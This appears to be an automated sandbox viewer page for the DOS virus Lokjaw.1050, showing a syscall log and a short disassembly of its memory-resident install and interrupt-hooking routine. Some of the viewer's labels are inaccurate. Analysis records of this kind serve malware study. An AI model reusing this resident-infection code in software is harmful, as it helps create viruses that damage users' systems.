Sample viewer

vx.netlux.org/Virus.DOS.Lokjaw.1050

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:13:18.120078356Z 44 PC: 12aa6 | Get time 0x12aa6: cmp ax, 0xdcd
0x12aa9: je 0x12b06
0x12aab: mov ax, cs
0x12aad: dec ax
0x12aae: mov ds, ax
0x12ab0: cmp byte ptr [0], 0x5a
0x12ab5: jne 0x12afe
0x12ab7: mov ax, word ptr [3]
0x12aba: sub ax, 0x100
0x12abd: mov word ptr [3], ax
0x12ac0: mov bx, ax
0x12ac2: mov ax, es
0x12ac4: add ax, bx
0x12ac6: mov es, ax
0x12ac8: mov cx, 0x41a
0x12acb: mov ax, ds
0x12acd: inc ax
0x12ace: mov ds, ax
0x12ad0: lea si, word ptr [bp + 0x106]
0x12ad4: mov di, 0x100
2018-12-17T22:13:18.123490468Z 53 PC: 12ae8 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:13:18.124513432Z 37 PC: 12afd | Set interrupt vector (Interrupt = '33' AKA 'Random read')